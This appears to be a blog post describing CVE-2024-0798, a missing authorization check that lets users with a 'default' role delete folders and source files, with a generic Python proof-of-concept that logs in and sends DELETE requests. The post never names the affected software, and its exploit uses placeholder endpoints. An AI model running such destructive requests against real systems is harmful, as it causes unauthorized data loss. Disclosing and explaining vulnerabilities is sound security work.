CVE-2024-0798 – Critical Security Vulnerability Not Restricting Unauthorized Actions for Default User Roles

In the world of cybersecurity, we often discover vulnerabilities that have a significant impact on application and user data security. One such recently discovered vulnerability is CVE-2024-0798, which essentially allows users with the 'default' role to perform unauthorized actions, such as sending DELETE HTTP requests to delete folders and source files from the instance. This vulnerability has put a large number of organizations and applications at risk and must be fixed as soon as possible.

We have put together this long-read post to detail the CVE-2024-0798 vulnerability, provide a code snippet to showcase the exploit, and link to original references for further information. This post is structured using simple American English for easier readability, and the content is exclusive to this article.

Overview of CVE-2024-0798

CVE-2024-0798 involves the unauthorized deletion of folders and source files by users possessing the 'default' role in an application. Such users should not have the permissions to perform these actions in any case. However, the system is not explicitly restricting these actions, resulting in potential data loss and other security consequences.

The National Vulnerability Database rates the severity of this vulnerability as high. It is important to understand the exploit details and apply the necessary security measures to mitigate this vulnerability. Organizations using applications with default user role configurations must be cautious and verify whether their systems are affected by CVE-2024-0798.

Code Snippet Depicting the Exploit

Consider the following Python code snippet that demonstrates how a user with the 'default' role can bypass the supposed restrictions and delete folders or source files from the system:

import requests

# Replace the following fields with appropriate values.
API_URL = "https://example.com/api/";
USERNAME = "username"
PASSWORD = "password"
TARGET_FOLDER = "remove-folder"
TARGET_DOCUMENT = "remove-document"

# Function to authenticate the user
def authenticate(username, password):
    url = f"{API_URL}login"
    response = requests.post(url, json={"username": username, "password": password})
    return response.json()["access_token"]

# Function to send DELETE request to the provided endpoint
def delete_resource(token, endpoint):
    url = f"{API_URL}{endpoint}"
    headers = {"Authorization": f"Bearer {token}"}
    response = requests.delete(url, headers=headers)
    return response

# Authenticate and obtain access token
access_token = authenticate(USERNAME, PASSWORD)

# Perform unauthorized DELETE actions
delete_folder_response = delete_resource(access_token, TARGET_FOLDER)
delete_document_response = delete_resource(access_token, TARGET_DOCUMENT)

# Print the responses
print(f"Delete folder response: {delete_folder_response.status_code}")
print(f"Delete document response: {delete_document_response.status_code}")

As seen in the code snippet above, our 'default' user is sending DELETE HTTP requests to the "remove-folder" and "remove-document" endpoints, successfully removing folders and documents from the instance.
